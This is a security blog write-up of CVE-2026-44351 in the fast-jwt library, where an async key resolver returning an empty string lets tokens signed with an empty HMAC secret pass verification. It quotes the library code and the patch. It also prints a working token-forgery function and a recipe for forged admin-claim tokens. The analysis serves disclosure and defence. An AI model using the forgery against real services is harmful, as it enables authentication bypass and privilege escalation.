//nefariousplan

CVE-2026-44351: fast-jwt's Sync Path Rejected key: ''. The Async Resolver Verified Tokens Signed With ''.

vendor

pattern

cve

proof of concept

In fast-jwt 6.2.3, the Node.js JWT library maintained by NearForm, createVerifier({ key: '' }) throws FAST_JWT_MISSING_KEY before any token is parsed. createVerifier({ key: async () => '' }) accepts a token signed with HMAC-SHA256 and an empty secret. The '' is identical. The library reads it twice, once at configuration time and once at verify time, through two code paths that never share a check. The patch in 6.2.4 is four lines at the place both paths finally meet.

The synchronous key path stops at the option validator.

The Node.js developer this CVE harms is the one who wrote their own JWKS resolver. They built a kid-keyed cache because they did not want to refetch on every request. They returned '' for unknown kids because somewhere downstream a MISSING_KEY would catch it. The downstream catch existed. It was on a different path than the one their callback fed.

createVerifier accepts a key as a string, a buffer, or a function. The string and buffer cases are validated when the verifier is built. From src/verifier.js:

if (key && keyType !== 'function') {
  // Detect the private key - If the algorithms were known, just verify they match,
  // otherwise assign them
  const availableAlgorithms = detectPublicKeyAlgorithms(key)

  if (allowedAlgorithms.length) {
    checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)
  } else {
    allowedAlgorithms = availableAlgorithms
  }

  key = prepareKeyOrSecret(key, availableAlgorithms[0] === hsAlgorithms[0])
}

key && keyType !== 'function' is a falsy guard. When key === '', key && ... short-circuits to '' (falsy), and the entire block is skipped. key stays as the empty string. The verifier is constructed and returned. No algorithm detection, no prepareKeyOrSecret, no createSecretKey.

The first token to arrive enters the synchronous verify path. Before any signature check, verifyToken runs this:

function verifyToken(
  key,
  { input, header, payload, signature },
  { validators, allowedAlgorithms, checkTyp, clockTimestamp, requiredClaims, allowedCritHeaders }
) {
  // Verify the key
  const hasKey = key instanceof Buffer ? key.length : !!key

  if (hasKey && !signature) {
    throw new TokenError(TokenError.codes.missingSignature, 'The token signature is missing.')
  } else if (!hasKey && signature) {
    throw new TokenError(TokenError.codes.missingKey, 'The key option is missing.')
  }

  validateAlgorithmAndSignature(input, header, signature, key, allowedAlgorithms)
  ...
}

hasKey has three shapes. If key is a Buffer, hasKey is the byte length. Otherwise, hasKey is !!key. For key === '', !!key === false. Any token with a signature throws FAST_JWT_MISSING_KEY. The string '' was rejected before HMAC could run.

That rejection is structural. The option validator's falsy guard ensures '' is never installed as a key. The verifier's hasKey falsy guard ensures '' cannot validate any signature. The library's defense against the empty HMAC key on the synchronous path is two falsy short-circuits, one at construction and one per request, neither of which calls itself a key-emptiness check.

The asynchronous path is a different sequence of steps over the same data.

When key is a function, the option-validation block at line 514 does not run, because keyType === 'function'. The verifier is built and returned. The first token arrives and dispatches into the async branch in verify():

getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  if (err) {
    return callback(
      cacheSet(cacheContext, TokenError.wrap(err, TokenError.codes.keyFetchingError, 'Cannot fetch key.'))
    )
  }

  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')
  } else if (!(currentKey instanceof Buffer)) {
    return callback(
      cacheSet(
        cacheContext,
        new TokenError(
          TokenError.codes.keyFetchingError,
          'The key returned from the callback must be a string or a buffer containing a secret or a public key.'
        )
      )
    )
  }

  try {
    const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)

    if (validationContext.allowedAlgorithms.length) {
      checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)
    } else {
      validationContext.allowedAlgorithms = availableAlgorithms
    }

    currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])

    verifyToken(currentKey, decoded, validationContext)
  } catch (e) {
    return callback(cacheSet(cacheContext, e))
  }

  callback(null, cacheSet(cacheContext, complete ? { header, payload, signature, input: token } : payload))
})

getAsyncKey resolves with the callback's return value. For an async () => '' resolver, currentKey is ''. The conditional at line 440 is typeof currentKey === 'string', which is true, so:

currentKey = Buffer.from('', 'utf-8')

Buffer.from('', 'utf-8') returns a zero-length Buffer. Buffers are objects. !Buffer.alloc(0) is false. The empty string became a truthy value, by a single line whose purpose was to normalise the resolver's return type.

Three sequential checks then accept that truthy zero-length buffer as a valid symmetric key.

One. detectPublicKeyAlgorithms(currentKey) opens with a falsy guard of its own:

function detectPublicKeyAlgorithms(key) {
  if (!key) {
    return 'none'
  }
  // ...
  if (key instanceof Buffer) {
    key = key.toString('utf-8')
  } else if (typeof key !== 'string') {
    throw new TokenError(TokenError.codes.invalidKey, 'The public key must be a string or a buffer.')
  }
  return cacheSet(publicKeysCache, key, performDetectPublicKeyAlgorithms(key))
}

!Buffer.alloc(0) is false. The function proceeds, calls currentKey.toString('utf-8') to convert back to '', and dispatches to performDetectPublicKeyAlgorithms(''). That helper looks for PEM markers, finds none, finds no X.509 certificate header, and falls into this branch:

} else if (!publicKeyPemMatch && !trimmedKey.includes(publicKeyX509CertMatcher)) {
  // Not a PEM, assume a plain secret
  return hsAlgorithms
}

hsAlgorithms is ['HS256', 'HS384', 'HS512']. The empty secret has been classified as a valid HMAC key. The comment names the assumption: any input that does not look like a PEM is a plain secret.

Two. availableAlgorithms[0] === hsAlgorithms[0] is 'HS256' === 'HS256', which is true. prepareKeyOrSecret will be called with isSecret = true. In 6.2.3 it reads:

function prepareKeyOrSecret(key, isSecret) {
  if (typeof key === 'string') {
    key = Buffer.from(key, 'utf-8')
  }

  return isSecret ? createSecretKey(key) : createPublicKey(key)
}

The string-to-Buffer conversion already happened on line 441 of the verifier. currentKey is a Buffer. The typeof key === 'string' guard does not fire. The function falls through to createSecretKey(Buffer.alloc(0)). Node's createSecretKey accepts zero-length input and returns a KeyObject wrapping zero bytes.

Three. verifyToken(currentKey, decoded, validationContext) runs. At line 272:

const hasKey = key instanceof Buffer ? key.length : !!key

currentKey is no longer a Buffer; createSecretKey returned a KeyObject. KeyObject is an object, so !!key is true. hasKey === true. The MISSING_KEY branch does not fire. The verifier proceeds to validateAlgorithmAndSignature, which calls createHmac('sha256', emptyKeyObject).update(signingInput).digest() and compares the digest to the token's signature.

The check at line 272 distinguishes Buffer from non-Buffer because the synchronous path can deliver either: a string key stays a string all the way to verification, and a buffer key gets a length-aware check. KeyObject is the third shape. The line was written without it because, on the synchronous path, no codepath produces one. The async path produces one on every request.

The forgery is createHmac('sha256', '').digest('base64url').

createHmac('sha256', '').update(input).digest() is a pure function. The attacker who knows it will be the verifier's check runs the same call on their own machine and produces the same digest. The patch's own regression test, written by the fast-jwt maintainer, builds the forged token in nine lines:

function forgeEmptyKeyToken(header = { alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' }) {
  function encodeSegment(value) {
    return Buffer.from(JSON.stringify(value)).toString('base64url')
  }

  const now = Math.floor(Date.now() / 1000)
  const payload = { sub: 'attacker', admin: true, iat: now, exp: now + 60 }

  const encodedHeader = encodeSegment(header)
  const encodedPayload = encodeSegment(payload)
  const signingInput = `${encodedHeader}.${encodedPayload}`

  const hashAlgorithm = `sha${header.alg.slice(2)}`
  const signature = createHmac(hashAlgorithm, '').update(signingInput).digest('base64url')

  return `${signingInput}.${signature}`
}

The payload is whatever the attacker writes. The test sets admin: true. The verifier accepts the token. The application reads req.user.admin and the case is closed.

The realistic trigger is keys[decoded.header.kid] || ''.

A verifier configured with key: async () => '' is not a configuration a careful developer writes deliberately. The trigger is a resolver that returns '' for some inputs and a real key for others. The patch test names the exact shape:

const verifier = createVerifier({
  key: async decoded => {
    const jwksCache = { 'real-kid': 'real-secret-key' }
    return jwksCache[decoded.header.kid] || ''
  }
})

This is what a JWKS resolver looks like when the developer wrote it themselves instead of importing one. The cache is a plain object keyed by kid. The resolver returns the cached secret if present and falls back to '' if not, on the assumption that an unknown kid will be rejected somewhere later in the verifier. The fallback exists because the developer was being defensive: returning null would have crashed the keyFetchingError path at line 442 (!(currentKey instanceof Buffer)), and returning a thrown error would have surfaced as FAST_JWT_KEY_FETCHING_ERROR to the caller. '' was the value that looked like it would be quietly rejected.

The attacker writes any kid value into the token header. The cache returns undefined. The || '' resolves to the empty string. The resolver returns ''. The verifier accepts a token signed with the empty key.

The || '' is the only line in the application code that has to be present for the bug to be reachable. The attacker does not need to know the kid table, the real secret, the user model, or anything else about the application. The attacker writes {"alg":"HS256","typ":"JWT","kid":"x"}.{"sub":"admin","admin":true,"iat":...,"exp":...} and signs it with createHmac('sha256', '').digest('base64url').

The patch is four lines at the convergence point.

fast-jwt 6.2.4 adds this to prepareKeyOrSecret:

 function prepareKeyOrSecret(key, isSecret) {
   if (typeof key === 'string') {
     key = Buffer.from(key, 'utf-8')
   }

+  if (isSecret && key.length === 0) {
+    throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')
+  }

   return isSecret ? createSecretKey(key) : createPublicKey(key)
 }

The synchronous path called prepareKeyOrSecret from line 524. The asynchronous path called it from line 464. Both paths converged on this function, and neither path had checked the symmetric secret's length before it. The four-line guard is the first line of code in fast-jwt that asks is the key empty? on behalf of the HMAC interpreter.

The terminator on the synchronous verify path (if (!hasKey && signature) throw missingKey) is still there, doing the same job as before. It always did the right thing for key: ''. It was never given the chance to look at the async resolver's return value, because by the time the async value reached verifyToken it had already been wrapped in a KeyObject that !!key reads as truthy.

This is a parallel-implementation-gap.

fast-jwt implements "accept a key and use it to verify HMAC" twice: once as a static configuration option validated at verifier-build time, once as a function call resolved per-request at verify time. The static path's emptiness check is structural, the falsy if (key && ...) at line 514 and the falsy if (!hasKey && signature) at line 276. Neither was written as an emptiness check. Each is a guard against a different absence (no key configured, no key on the request) that happened to also catch '' because '' is falsy.

The async path was written to produce values the static path's guards do not see. getAsyncKey's callback receives a string, converts it to a Buffer, runs algorithm detection, runs createSecretKey, and only then hands the result to verifyToken. By that point the value has passed through three normalisation steps that move it from falsy-empty-string into truthy-non-empty-object. The gates upstream never test for symmetric-secret length because they were not written to. The gate downstream (hasKey at line 272) was written to test "is there a key at all" against three shapes, and KeyObject slipped through because !!new KeyObject is true.

This is the within-library, across-lifecycle variant of the pattern. Where Axios's maxContentLength lived inside the buffered branch's counter and the streaming branch had no counter to put it inside, fast-jwt's emptiness check lived inside the synchronous option validator and the async resolver was never an option validator. The same data, the same library, the same author, two evaluation pipelines, and a security gate that rode on one because nobody named it as a gate.

This is the third fast-jwt CVE in three weeks.

The git log shows the cluster:

2026-04-07  v6.2.0  cache confusion risk with composite-key approach (#587)
2026-04-07  v6.2.0  complete patch for GHSA-mvf2-f6gm-w987 (#598)
2026-04-09  v6.2.1  GHSA-cjw9-ghj4-fwxf / CVE-2026-35041 ReDoS in allowed options
2026-04-26  v6.2.3  strict base64url validation on verify (#606)
2026-04-29  v6.2.4  GHSA-gmvf-9v4p-v8jc / CVE-2026-44351 reject empty HMAC secret

Five security-relevant releases in twenty-two days, three of which carry CVEs. The library is several years old and was maintained without producing CVEs the entire time. The cluster is what first-time scrutiny looks like when a parser and verifier this widely deployed gets read by people whose job is to find the holes. Each fix closed a specific surface. The library's substrate, two parallel evaluation paths for the same option, with one path holding most of the type and shape guards, remains.

PoC: GHSA-gmvf-9v4p-v8jc

createVerifier({ key: '' }) throws. createVerifier({ key: async () => '' }) does not. The library never wrote down which of those two answers was its position.